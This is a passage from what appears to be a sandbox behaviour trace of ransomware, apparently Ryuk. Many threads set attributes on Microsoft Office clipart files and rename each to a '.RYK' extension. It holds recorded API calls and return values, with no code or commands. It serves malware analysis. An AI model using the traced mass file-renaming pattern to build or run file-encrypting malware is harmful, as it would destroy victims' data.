	[0222.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG", dwFileAttributes=0x80) returned 0
	[0222.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.398] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2456
	os_tid = 0x2bd4

	[0222.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG", dwFileAttributes=0x80) returned 0
	[0222.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.399] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2457
	os_tid = 0x2bd8

	[0222.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG", dwFileAttributes=0x80) returned 0
	[0222.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.401] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2458
	os_tid = 0x2bdc

	[0222.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG", dwFileAttributes=0x80) returned 0
	[0222.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2459
	os_tid = 0x2be0

	[0222.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG", dwFileAttributes=0x80) returned 0
	[0222.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.407] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2460
	os_tid = 0x2be4

	[0222.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG", dwFileAttributes=0x80) returned 0
	[0222.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.991] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2474
	os_tid = 0x2c0c

	[0222.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG", dwFileAttributes=0x80) returned 0
	[0222.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2475
	os_tid = 0x2c10

	[0222.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG", dwFileAttributes=0x80) returned 0
	[0222.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.995] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2476
	os_tid = 0x2c14

	[0222.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG", dwFileAttributes=0x80) returned 0
	[0223.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2477
	os_tid = 0x2c18

	[0222.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG", dwFileAttributes=0x80) returned 0
	[0223.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2478
	os_tid = 0x2c1c

	[0222.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF", dwFileAttributes=0x80) returned 0
	[0223.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2479
	os_tid = 0x2c20

	[0223.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF", dwFileAttributes=0x80) returned 0
	[0223.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2480
	os_tid = 0x2c24

	[0223.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF", dwFileAttributes=0x80) returned 0
	[0223.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2481
	os_tid = 0x2c28

	[0223.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF", dwFileAttributes=0x80) returned 0
	[0223.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.009] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2482
	os_tid = 0x2c2c

	[0223.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF", dwFileAttributes=0x80) returned 0
	[0223.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.012] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2483
	os_tid = 0x2c30

	[0223.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF", dwFileAttributes=0x80) returned 0
	[0223.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2504
	os_tid = 0x2c84

	[0223.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF", dwFileAttributes=0x80) returned 0
	[0223.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2505
	os_tid = 0x2c88

	[0223.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF", dwFileAttributes=0x80) returned 0
	[0223.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.343] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2506
	os_tid = 0x2c8c

	[0223.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF", dwFileAttributes=0x80) returned 0
	[0223.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2507
	os_tid = 0x2c90

	[0223.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF", dwFileAttributes=0x80) returned 0
	[0223.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.349] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2508
	os_tid = 0x2c94

	[0223.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF", dwFileAttributes=0x80) returned 0
	[0223.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2509
	os_tid = 0x2c98

	[0223.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF", dwFileAttributes=0x80) returned 0
	[0223.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.361] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2510
	os_tid = 0x2c9c

	[0223.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF", dwFileAttributes=0x80) returned 0
	[0223.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.363] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2511
	os_tid = 0x2ca0

	[0223.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF", dwFileAttributes=0x80) returned 0
	[0223.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.364] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2512
	os_tid = 0x2ca4

	[0223.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF", dwFileAttributes=0x80) returned 0
	[0223.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2513
	os_tid = 0x2ca8

	[0223.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF", dwFileAttributes=0x80) returned 0
	[0223.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.703] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2515
	os_tid = 0x2cb0

